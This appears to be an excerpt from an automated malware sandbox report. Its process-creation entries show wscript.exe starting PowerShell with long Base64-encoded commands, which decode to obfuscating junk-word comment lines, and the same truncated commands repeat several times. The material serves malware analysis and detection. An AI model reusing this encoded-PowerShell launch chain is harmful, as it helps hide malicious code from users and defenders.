Camballm4 Sortering Lngstleven outboxe SIGNIFICAT Mana DUNKARD Unscor tronb hypohemiag MATTESTE engros Feri2 UNCONVE Mindstehj Nitrogen chev Korp6 stted miskred umenneske Galoplo Udskriv2 MAGNETOMET TRILLIONTH HAARBRSTE Immatc6 drueh Ssla Countryro2 Nonex #Alisphen sula idmmel Tribrac2 Tilegnel Unde dksd tujasur Circ8 Broo Appe1 Oksehude netstroem Teknolog2 klore BALLADR UNFLUTTERE boyko Tilbringe physi FELWO Generisktv5 Sukke Lodgeart3 #Unevada Enceph2 poleremi zakariass scoll Boatl7 Samar Hutchi acetanion INTE Stubb alde Lambk Nonretra Skan Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: Base64 decoded #meso dittog stjerthage Prevaricat1 Pyrol6 delumini Tastear7 tropo engr nonrepenta #Smitty1 SPRENG UNVIS Allerhv Archip9 RINGMRKNI Uncon9 JENBRY Ejakule STJER KOMMUNIK Sortk8 phae Uqvsy Monop3 Countercl1 baalambs Explosibl EPIGR Cephalohum tegnt GPSEMULS Aflaas6 Asbk6 #abidi Peng9 apha Caulkers TRFFE Typhoonto3 krapinaf Enligsti2 Sankthans Gennem8 Celiec6 Katj #Epilepsien SEMISOLU sprednin METHY Parame Brnehave2 GERMANIST DRETSS ENSPORETH Stedmod7 Svovlsyre Borgerr Kolport1 pleurot #bonsai Pseudo fritidscen TEATERGN PLANERS VINDM Spalte Tabel2 Ambadeedie Cindersban Coatt3 CHROMAT carl Stift1 stvfn Kommuna3 RRTAN Nonoil #septenat Pseudoamb8 Nonracia Vlgeresk3 Dogho Programm FLUGTSKYD claust SELVFIN #dispens AFFALDSP Plnerner Gordykn1 Bioel Rhiz Nonadja9 Bris2 STUD korporligt Charcuti2 Maltingpe6 Sikkerh3 UNITINGIN disens #SPIS strykni Treasure2 freez Disorde Cifferfl metages Ustemp efterkomm Synsms4 LNSLAVESR Cats4 sovs Wins Precepta7 TARSOMAL Obsternasi4 EFTERTR Bleskud2 #woolensr PLOCEIFORM Rauno TYPER innuendo RAPP Bogstavk ubes Absinth Forsknin HOTELVRT Skinn bedriften BROK forskudsb Misi Auma6 Mossernes #Hemihyperi Aikos makrofu pillmaking Habanerasd Trol6 RYGTIKAMPE TRFLERNEPO modstands Dynami pulvin Hysterecto1 Mtni chart LEMMATAAN Knsk6 filstrukt #KOERSLE STYREVARIA Blnde Sedim4 CROS DUELLERE krummesu Pseudop sher Standhaf forve Skatteafde REVERSA TRILLIONTA Prrie Hvid Damr1 Unsu9 sanjaspew flyde LINGUOVERS Respo9 #tilf Shotgunaf6 Zuniss2 b Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAg